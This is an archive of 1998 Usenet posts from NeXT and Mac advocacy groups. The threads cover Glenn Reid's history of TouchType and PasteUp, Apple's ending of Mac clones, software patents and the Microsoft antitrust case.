Thank you for your efforts and especially chasing down Glenn with the facts
to backup your recollection of the truth. It's obvious to me that I've
conveniently compressed recollections to make more space for my limited
greyware...
best...
-r
From: Alan <Spamless@In.Seattle>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Sun, 15 Nov 1998 11:31:20 -0600
Organization: Department of Redundency Department
Message-ID: <CB3C61E916296351.8A15E7E5D1B425C6.ACB9EC9DA5C6124C@library-proxy.airnews.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <3648abc2.502343982@news.monmouth.com> <72e6pn$mun$1@52-a-usw.rb1.blv.nwnexus.net> <364c4f66.172317930@news.monmouth.com> <72htho$dk8$1@52-a-usw.rb1.blv.nwnexus.net> <364dbd37.42187332@news.monmouth.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Sun Nov 15 11:29:19 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Wilbur Streett wrote:
>
> tzs@halcyon.com (Tim Smith) wrote:
>
> <snip>
> >around page 174, where Jack Sams of IBM, says "Bill told us if we wanted a
> >16-bit CP/M, we would have to deal with Kildall. We said 'oops.' We had
> >really only wanted to deal with one person. Byt now we had to talk to Kildall.
> >I asked Bill if he would make an appointment for us.")
>
> Strange, that's not Bill sending them to DR.. That's Bill saying that he
> doesn't own CPM.
"Bill told us...we would have to deal with Kildall."
"I asked Bill if he would make an appointment for us."
Sounds like he's sending them to DR to me. Jack could walk up to Gary
and say "Bill sent us." But Gary would already know that since Bill
made the appointment.
--
"I don't believe in anti-anything. A man has to have a
program; you have to be *for* something, otherwise you
will never get anywhere." -- Harry S Truman
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: 17 Nov 1998 14:50:46 GMT
Organization: Primenet (602)416-7000
Message-ID: <72s2g6$c43$1@nnrp03.primenet.com>
References: <3649C384.DEE7E7E1@voy.net> <72ov5h$khl$1@reader1.reader.news.ozemail.net> <36504C35.7E40AA4D@voy.net> <72qrrs$l1b@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: Gimp also runs on NT with an X server. There are NT folks working to build a
: new, NT based front end to Gimp. You might want to search the web for them.
: If they manage to do a good enough job at decoupling Gimp from X, it might be
: a pretty easy task to build a new OSX based UI for Gimp. Heck, I would work
: on it just for kicks. I'm hoping that the market for YB will start to take
: off within a couple of years of the OSX release.
This is an interesting idea. The Gimp runs on a GUI abstraction layer
called GTK+ (for Gimp Toolkit). If you port GTK+ you gain a lot more apps
than just the Gimp. See www.gtk.org for more details.
John
From: Graham Murray <graham@barnowl.demon.co.uk>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 15 Nov 1998 17:16:51 +0000
Message-ID: <m2yapc5118.fsf@barnowl.demon.co.uk>
References: <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz> <36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk> <KAi$REAcsAT2EAIj@wolff.co.uk> <364C3479.5C1BFBB5@cadence.com> <oFPnADAoPFT2EA9z@wolff.co.uk> <36598246.6204950@news.demon.co.uk>
Mail-Copies-To: never
User-Agent: Gnus/5.070046 (Pterodactyl Gnus v0.46) Emacs/20.3
Mime-Version: 1.0
Mime-Version: 1.0
In comp.os.linux.advocacy, nws@rollingthunder.demon.co.uk (Anthony Ord) writes:
> This I can't understand. What is the point of awarding patents in
> variance with the law? As soon as the patent is challenged, it will be
> thrown out. The EPO does not make the law, and they should follow it.
>
> Wait a minute. I can see why they do it. It is a very nice revenue
> stream to award useless software patents.
One solution for this would be for the patent offices to have to
refund the fees plus pay damages (for their negligence in not properly
checking the validity) whenever a patent is ruled invalid. This would
provide an incentive for them to check such things as obviousness (to
skilled practitioners) and prior art.
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 15 Nov 1998 19:52:29 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <72nbdt$1lg$1@cronkite.cs.umd.edu>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <F2DB5F.H0r@T-FCN.Net>
NNTP-Posting-Date: 15 Nov 1998 19:52:29 GMT
Maury Markowitz (maury@remove_this.istar.ca) wrote:
> In <72dp06$1ks@news1.panix.com> Sal Denaro wrote:
> > Attempted murder is still a crime.
> In fact it's a crime to *think* you commited murder. If you walk into a
> room and shoot a person who died of a heart attack the instant before you
> pulled the trigger, you're guilty of attempted murder.
There are no crimes of thought. There are only crimes of action, some
with and some without intent. Attempted murder is a crime because an
action occured.
Sean
From: greidXX@rightbrainXX.com (Glenn Reid)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Sun, 15 Nov 1998 12:54:30 -0800
Organization: Apple Computer, Inc.
Message-ID: <greidXX-1511981254300001@rara1ppp25.apple.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com>
In article <727kku$rih@shelob.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> Christian Neuss wrote in message <727i58$d2b$2@sun27.hrz.tu-darmstadt.de>...
> >"If I poke myself in the head with this pencil, will it hurt?"
> >
> >Obscure historical reference. Never mind. "I was trying to be funny,
> >but it didn't work", to quote one of your president :-)
>
> For the history impaired, one of PasteUp's first slogans (when it was still
> owned by RightBrain) was "Yes, it will." As in, "Will it have this feature?"
> "Yes, it will." Later, Glenn Reid put together *the* classic NeXT ad when he
> featured a lady in a stock photograph straight out of the 50s holding a
> pencil in such a way that "If I poke myself in the head with this pencil,
> will it hurt?" was the perfect joke caption. Of course, the answer was,
> "Yes, it will." EVERYONE who ever had a NeXTstation remembers that ad.
As long as we're setting the record straight for history, the slogan
did not pre-date the ad. The ad came first. And "Yes, it will" had
nothing to do with "Will it have this feature?" It was simply the
answer to the question: will it hurt? Yes, it will. The copy of the
ad then pointed out that it was obvious, as was PasteUp. There was
never any reference to Features That Will.
The ad was a classic; with that, I will agree. Kudos go to the Rucker
Design Group, who designed the ad for us: http://www.rucker.com
The T-shirts did in fact have "Yes, it will" on the back of them,
but it was in reference to the ad, more than anything. We used a
T-shirt with a pocket as part of our packaging, for environmental reasons,
and because it was cheaper than a plastic vacuum-formed or custom-
cut cardboard insert.
Anyway....
Glenn Reid
RightBrain Software
http://www.rightbrain.com
--
remove XX from address when replying via Email
From: greidXX@rightbrainXX.com (Glenn Reid)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Sun, 15 Nov 1998 13:04:53 -0800
Organization: Apple Computer, Inc.
Message-ID: <greidXX-1511981304530001@rara1ppp25.apple.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com>
In article <728f6m$g3@shelob.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> Rex Riley wrote in message ...
> >And for those who were priviledged enough to see Glenn's early demo's,
> "Yes"
> >it had every feature you could ever want. Licensing issues cropped up with
> >Adobe. Much of the cool demo stuff got iced. My favorite was the
> scalable,
> >splined font tools. Grab a font and stretccchh...
>
> Didn't Glenn ultimately release this feature as a distinct application
> called TouchType, which he eventually sold to Adobe?
TouchType came first. It didn't do any font outline stuff, it was
just a direct-manipulation tool for headlines. There's still nothing
like it; I occasionally think about re-creating it, but don't.
I quit my job at NeXT to write software, and for some pie-eyed
reason, started with TouchType. It shipped on a magneto-optical
disk, all alone on 256 Mb of read/write storage. It only took up
about 200k. But there were no floppies :-) From concept to shipping
was only 3 months, which in retrospect was pretty dang fast. It
was a very cool app, even if I do say so myself.
Yes, Adobe acquired TouchType and even shipped it, though not for
very long.
RightBrain Software went from One Person At Home to Five People In
Palo Alto after I sold TouchType to Adobe and thought long and hard
about what to do next. It sure changed my life.
It was a two-year downhill, depressing slide from the day Steve Jobs
appeared on the cover of Publish magazine and NeXT was running ads
quoting Jonathan Seybold saying the NeXT was "the greatest computer
for publishing ever made" and NeXTWORLD magazine had "page layout"
as number 1 on their top 10 list for weeks on end ... to the real
world a couple years later, after I foolishly decided to build a
page layout application for the greatest computer for publishing ever
made. They quit making said greatest computer, they were very FAR
from the publishing market, and the world was going to hell in a
handbasket.
What did get iced at the last minute was my deal to bring Adobe
Illustrator forward from its first NeXT release. We had a letter
of intent signed with Adobe to update and ship Illustrator, but
the world fell apart before we could make it happen.
Thanks to Greg, who rescued PasteUp from the scrap heap of history
and continues the tradition onward.
"If I ship PasteUp on MacOS X, will it hurt?"
Hopefully not :-)
Glenn
--
remove XX from address when replying via Email
From: greidXX@rightbrainXX.com (Glenn Reid)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Sun, 15 Nov 1998 13:07:20 -0800
Organization: Apple Computer, Inc.
Message-ID: <greidXX-1511981307210001@rara1ppp25.apple.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com> <hOQ12.93$rY3.507395@news.rdc1.sdca.home.com>
In article <hOQ12.93$rY3.507395@news.rdc1.sdca.home.com>, rr6013@yahoo.com
(Rex Riley) wrote:
> Touch type never allowed you to play with fonts - making'em fatter, wider,
> taller, canted, etc... PasteUp allowed WYSIWYG font design. This is where
> PasteUpDemo ran into Adobe I was told because it took free license to alter
> existing font properties.
PasteUp didn't do it either, and we never ran into licensing issues
with anybody.
> Glenn Reid what a creative genius...
Gosh, thanks :-)
For those of you who care, I went back to Adobe after RightBrain,
worked on Illustrator 5.5 and 6.0, then went to Fractal Design (creators
of Painter) as Director of Engineering, then consulted for a couple
of years while my daughter got going on life, and I'm now at Apple
working on a Secret Project.
Cheers to all of you out there who were part of the early days of
NeXT. It was a heady, wonderful time.
Glenn
--
remove XX from address when replying via Email
From: greidXX@rightbrainXX.com (Glenn Reid)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Sun, 15 Nov 1998 13:10:40 -0800
Organization: Apple Computer, Inc.
Message-ID: <greidXX-1511981310400001@rara1ppp25.apple.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com> <3647DCC4.4792B75A@trilithon.com>
In article <3647DCC4.4792B75A@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
> TouchType was there way before PasteUp got started. Glenn
> hid in his garret for several months and created TouchType.
> It was very well received, and yes, it was eventually sold
> to Adobe. I don't know where TouchType is these days ---
> presumably Adobe stopped supporting it, given no systems on
> which to run it.
A gentleman in Minnesota, whose name I've temporarily displaced,
contacted me, and then Adobe, hoping to license the source to
TouchType and re-release it onto the world. Ah, yes, I
remember now: Arlen Britton. Adobe could not find the source
code :-)
> Glenn then went on to the PasteUp project. I don't
> recall any of the scalable, splined font tools in PasteUp,
> even though it might have been before my time. PasteUp
> got under weigh in the Spring of 1991 and I worked on
> PasteUp basically from around the end of 1991 through the
> end of 1992. I departed from RightBrain in October 1992,
> primarily for health reasons at the time. If there had been
> any such tools or features in PasteUp, I didn't see any
> evidence of such in the codebase. And believe me, I was all
> through that codebase.
And many thanks to you, Henry. You were wonderful and
capable and the smell of hot tea was always welcome in our
little office.
It's a shame things were as they were, thin and desperate,
rather than fat and happy.
Henry is right, there was no font scaling code in PasteUp.
I never had the courage to pry open the "black book" and
learn how it all worked :-)
Glenn
--
remove XX from address when replying via Email
From: greidXX@rightbrainXX.com (Glenn Reid)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Sun, 15 Nov 1998 13:15:44 -0800
Organization: Apple Computer, Inc.
Message-ID: <greidXX-1511981315450001@rara1ppp25.apple.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com> <hOQ12.93$rY3.507395@news.rdc1.sdca.home.com> <3647F284.F4280BFA@trilithon.com> <9t_12.117$rY3.724777@news.rdc1.sdca.home.com>
In article <9t_12.117$rY3.724777@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> Call Glenn to get solid evidence... tell him some chap from Lois Lane is
> telling stories out of school :-)
And Henry did. It took a while to dig through all the other dreck
on *.advocacy and find this thread (with a funny subject line), but
it was fun to read and remember.
Speaking of remember, I was trying hard to recall why your name was
so familiar, and then you did it for me: Lois Lane. I didn't believe
it was a real address at first :-)
> God, I love those old memories... failing and all :-)
Yep, me too. I wonder what it was that I demo'ed at the Boston
Computer Society that made your vision blur and think you were seeing
font manipulation? I think that must have been Andy Stone's Create,
which might well have been right after PasteUp.
Mostly what I demo'ed was how fast the app launched, since it kept
crashing :-)
And yes, you're right and I had forgotten that Rulers was(were?)
originally part of PasteUp, and later spun out as a separate program.
Still would be a useful app on Mac/Windows platforms, methinks.
Glenn
--
remove XX from address when replying via Email
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 12:15:43 -0500
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Craig Koller wrote:
>
> You're absolutely right. But imagine an entirely new regime taking the
> reigns at Apple and taking stock of the situation ... here you have cloners
> puting out better, faster machines than Apple and it's going to take at
> least a year (if not more) to retool in order to compete.
Steve Jobs wasn't "new" to Apple or to the computer industry. True, he'd
been out of play for a long time while he was at NeXT, but I think his
actions to date have been very consistent with his earlier tenure at
Apple. Jobs, historically and by definition, has always been a
"loner"--he was that way when he was at Apple the first time. He doesn't
work well with equals in a partnership setting. He could have formed an
alliance with the cloners with the goal of expanding the Mac market.
Instead, he decided to go his own way and take Apple with him and
destroy the cloners completely. He never, ever saw a positive side to
cloners, he erroneously concluded that the Mac market could not grow,
and he was quoted more than once in calling the cloners "leeches and
parasites."
>
> You can't blame Jobs for pre-Jobs problems. In the same respect, you can't
> blame Jobs for having to take desperate measures to fix them.
I can't think of anyone to blame aside from Jobs for the fate of Mac
cloning.
> >
> Yup, but where *is* Amelio? The guy didn't get it, nor did he have the
> charisma to lead that company. When he got the boot, so did his operating
> strategy, and everything the clones relied upon. Apple royally ticked off
> Moto and UMAX, and paid a cool $100 mil in hush money to Power, but it had
> to be done.
I think Apple could have worked successfully with the cloners. That's
just my opinion, but it's what I believe. At the end, they were bending
over backwards to accomodate Jobs and he axed them anyway. I think that
Jobs might have used these companies as an asset. But his tenure at
Apple is a "one-man show" and he just wasn't going to work *with* them,
no matter what they agreed to.
>
> > What really puts the lie to all of that malarkey from Apple is the iMac.
> > Is the iMac what you call the "high-end, profitable" part of the market?
> > Of course not. But the only reason Apple can make *any* money from the
> > iMac is that Apple is selling it in a vacuum--there's no iMac
> > competition, is there?
>
> Tell that to the 30% of the iMac's buyers who *aren't* replacing an older
> Mac. And consider that many Mac users have converted to PC's during the
> worst Apple years, and could just as easily opt for a PC today.
You missed the point. If the Mac cloners were still around, there might
be two or three iMac-class machines for all of those buyers to chose
from, instead of one single machine that's a take it or leave it
proposition.
>
> To say the iMac has no competition (from clones), while ignoring the
> plethora of cheap Win98 machines out there, is to underestimate the huge
> obstacles Apple has had to overcome to not only get this machine out, but
> to make sure there were enough marketing channels to distribute it to eager
> buyers.
I just can't feel sorry for a company which uses that as an excuse as to
why it has to deny users a competitive Mac market full of many more
choices for the Mac OS user than Apple alone currently provides. X86
clone makers face the same problems and they have tons of competition
from each other in the process.
> > >
> >
> > I never said they were "mom & pops"...What I said was that *compared to
> > Apple* they were tiny, and they were. The Mac clone companies affiliated
> > with Motorola and Umax were *separate companies* which were *small
> > change* compared to Apple itself. Last, you always leave out PowerCC,
> > seemingly because you know that that company wasn't even loosely
> > affiliated any large company. The irony is that PowerCC is the company
> > Apple (Jobs) feared the most.
>
> As well he should have. They were the best. They won Apple mindshare as
> *well* as marketshare, with their advertising and philosophy. If *anybody*
> else other than Jobs killed PowerCC, I'd have been upset, but today's Apple
> has captured the imagination of Mac users again. No longer left twisting in
> the wind by a vacuum of no promotion, advertising, distinguishing hardware
> and software design, Mac users can hold their heads just a little bit
> higher now. And the innovation faucet is only trickling from Apple, at this
> point.
PowerCC *could* have been a powerful ally and asset had Jobs not seen
them as the "enemy." It's all in your point of view.
>
> RDF? I've got one word for you ... "Innovation."
>
> RDF indeed. It's about bloody time Apple sling some decent propaganda,
> seeing that that's what sways the masses.
The trouble with propaganda is this: if it's not true its benefits are
only temporary. If it's not true, the propaganda will be found out and
exposed. It's not a good long-term strategy.
Date: Tue, 17 Nov 1998 10:27:04 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <christian.bau-1711981027040001@christian-mac.isltd.insignia.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364CA67E.6C5A5121@exu.ericsson.se> <72k3jj$68e@newsb.netnews.att.com> <3650804E.936482E6@exu.ericsson.se>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <3650804E.936482E6@exu.ericsson.se>, Michael.Peck@Ericsson.com wrote:
> As I have said, it is *not* simple. This is about more than just whether
> or not Microsoft broke any laws. Under a system of judicial review the
> status quo and an active court system cannot coexist. The outcome of
> this case has little to do with Microsoft. We will either see a clear
> court mandate for increased governmental intervention in private lives
> and circumstances, or we will see a rejection of same. Personally, I
> don't care what happens to Microsoft. I care what happens to our
> freedom.
I thought this case was to protect businesses from illegal intervention by
a large software manufacturer. Businesses must be free to compete, and if
one business actively tries to prevent competition, then the courts have
to act.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 12:44:10 -0500
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Organization: EarthLink Network, Inc.
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Sal Denaro wrote:
>
> On Mon, 16 Nov 1998 13:07:46 -0500,
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >Right. Sworn testimony by two people with a long history of
> >anti-Microsoft bias.
>
> Compaq is "anti-Microsoft"?
>
> They made it pretty clear that MS kept them from shipping QT on thier
> systems.
Is "Compaq" a person? I think you are confusing a person with the
official policy of the company.
From: ashootos@roger.ecn.purdue.edu (Ashootosh P. S. Palayathan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 17 Nov 1998 19:03:15 GMT
Organization: Purdue University
Message-ID: <72sh9j$m7m@mozo.cc.purdue.edu>
References: <72s6bh$dfl$1@nnrp03.primenet.com>
John Jensen <jjens@primenet.com> writes:
>There is a nice essay over at freshmeat:
> http://editorials.freshmeat.net/ajay981115/
>Computing is becoming a world phenomenum. The author raises the
>interesting point that the inexpensiveness of Linux could give it a
>billion desktops in less affluent nations.
>Even if the billion number falls short, I thing the demographic trend
>should be considered. It might mean for Apple that world wide share will
>never again go up.
>I'm sure Apple can continue to make a business in affluent countries, but
>even there some customers might prefer a world platform.
>John
Are you a PC Troll? What makes you say that Apple will never grow again?
I don't know where your prescience comes from, your next door psychic
maybe? You have no idea and we have no idea about what Apple
will do if such Linux stuff develops if it ever develops to such
scales.
Here is what I do know today though:
1. Indeed I don't know much about world software development but I
surely know it's not PC or Intel motherboard they should provide to those
billion of people. Look at Intel's motherboard recall and PII recalls
etc. at
http://www.cnn.com/TECH/computing/9811/16/motherboard.idg/
2. Maybe Apple should provide the PPC platforms for those Linux boxes.
So
Apple does have a chance at increasing market share.
3. When are we going to stop labeling Apple as a company that is niche only
or completely irrelevant when, in fact, facts tell us all that it is
ahead of competition and is the wave of the future consumer machine that
uses advanced relevant PPC chips?
Away with those prescient anti-macadvocates on mac.advocacy, please.
--
Ashootosh P.S Palayathan
School of Aeronautics and Astronautics
Purdue University
From: david_@ucla.edu (David Kurtz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 11:18:39 -0800
Organization: Independent sentient carbon-based unit
Message-ID: <david_-1711981118390001@s188-236.resnet.ucla.edu>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <72qrjm$kui@news1.panix.com> <3651B2E8.F83B7977@spamtoNull.com>
In article <3651B2E8.F83B7977@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> You could also add Ted Bundy, Hitler, and Stalin to that list...:)
> What's so great about that?
Godwin's law invoked. Thead over. Thank you.
--
David Kurtz -- remove the underscore from my email address to reply
PGP key and more... http://www.lightside.net/~david/
Message-ID: <364F6665.8D0BA59A@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy>
<36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com>
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NNTP-Posting-Date: Sun, 15 Nov 1998 18:36:31 EDT
Date: Sun, 15 Nov 1998 15:40:21 -0800
WRex WRiley Wrote:
* I don't know if mucking with the internals of the fonts
* themselves happened? This is a quick conversation with
* someone in early 1990's about a feature demo'd but not
* shipped. They explained it away as a licensing problem.
* It's frustrating to not be able to convey what was demo'd.
* The font touch and play was gone when the final product reached
* the consumer. This was a 40 min. demo Glenn gave which crashed
* alot. Glenn had optimized the app reboot so it was almost
* instantaneous, so it impressed some unwashed masses
* from NYC and MIT, even though a work-in-progress demo.
I eventually got around to talking with Glenn, just to ensure
that I recalled correctly what was in the PasteUp code.
I cranked up the old NextStep software stuff over the weekend
and took a look at a couple of bits and pieces. The nearest
thing that comes close to what you describe is Create from
Andrew Stone. Create can do all kinds of funky effects with
graphics, and the effects look especially wild and crazy with
text. But all the effects that Create can achieve can be
done with straight old PostScript affine transforms ---
there's no need to get inside the actual font itself. No
licensing problem would raise its head.
Obligatory disclaimer to pre-empt You Know Who --- of
course if we'd only had QuickDraw GX with three by three
matrices instead of DPS with two by three matrices we could
do perspective effects as well as affine transforms, but
since we saddled ourselves with such an inferior imaging
model, blah blah blah blah blah whacka whacka whacka whacka
whacka . . .
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 13:27:49 -0600
Organization: Ericsson Inc.
Message-ID: <3651CE35.E6925853@exu.ericsson.se>
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Charles Swiger wrote:
[cut]
> Ahh, never mind: subtlety obviously isn't one of your strong points.
How would you know? It was evidently too subtle for you...
> Would you go pollute some other newsgroup if I compared you to Hitler?
Quit whining and learn to deal with opinions that don't match yours. It
would be about time.
MJP
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
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Date: Sun, 15 Nov 1998 23:42:00 GMT
NNTP-Posting-Date: Sun, 15 Nov 1998 15:42:00 PDT
Organization: @Home Network
In <greidXX-1511981310400001@rara1ppp25.apple.com> Glenn Reid wrote:
> Henry is right, there was no font scaling code in PasteUp.
> I never had the courage to pry open the "black book" and
> learn how it all worked :-)
>
> Glenn
>
>
Well... that was a long time ago... (memory fading in-out). The drive back
that night to NYC must have melded the whole presentation into now
old/imperfect greyware :-)
My humble apologies to henry et. al. for necessitating, setting the record
straight...
-r
From: dennyrex@earthlink.net (Rick Sanford)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MWSF MOX BOF?
Date: 16 Nov 1998 02:17:40 GMT
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Cc: henry@trilithon.com
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In <364D3398.769C5BE9@trilithon.com> Henry McGilton wrote:
> Given I'm here on the scene, I could set up something.
>
> Just for laughs, how many squash players are there in the newsgroup?
> If I could get enough people --- maybe between eight and
> sixteen --- I could try arrange with the San Francisco Bay Club
> to have a mini-tournament, then go out for several beers.
>
> Cheers,
> ........ Henry
>
> ============================================================
> Henry McGilton | Trilithon Software
> Boulevardier, Java Composer | Seroia Research
> -------------------------------+----------------------------
> mailto:henry@trilithon.com | http://web.trilithon.com
> ============================================================
>
no squash here, aside that which compresses NeXTStep files, but I was
wondering similary, about the likelyhood of a festive holiday coming-out
party here abouts NYC. another dig up the 'ol GUN bones again, with a
Knickerboker break.
defining the holiday season as roughly "now" til "then", I still harbor hopes
of a seasonal release; so NYC-frequenters and those near enough for Jazz are
welcome to help collect a strategic mass for this CD release party. I'm happy
to act as repository of interested e-mails.
--
Rick Sanford
Dental Records(R)
dennyrex@earthlink.net NeXTMAIL welcome
http://www.dentalrecords.com
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 19:39:46 GMT
Organization: Net Squared, Inc.
Message-ID: <01be1260$62fada40$06387880@chewy>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <364C8CF8.9A3394D5@spamtoNull.com> <tbrown-1311981850220001@mv180.axom.com> <364D94FF.88D501D@spamtoNull.com> <tbrown-1411982220190001@mv231.axom.com> <36506CF9.D2B4ED0A@spamtoNull.com> <72sdc9$4do$1@nnrp1.dejanews.com>
Charles Swiger <chuck@codefab.com> wrote
> Netscape got better due to competition from IE, agreed. But
> Netscape did have competition from other web browsers like Mosaic,
> lynx, or even TBL's original WorldWideWeb.app. :-)
All information/quotes below comes from "Competing on Internet Time",
pp. 95-97:
Early 1995: 10 Web Browsers PC Magazine
April 1995: 24 Web Browsers Internet World
end of 1995: 28 Web Browsers CNET
By spring of 1996, Netscape's share was 87%, IE 2.0 was 4%, all others
combined had 9%.
"There is a wonderful story to be written, a tragedy, about these
companies that had the vision to form NetManage, FTP Software, Spry and
had the vision to build this TCP/IP stuff in the early '90s, when no
one else believed, and who almost all couldn't sustain [their
business]."
Alex Edelstein
Microsoft Exchange developer,
Spry developer, and Jim Barksdale's
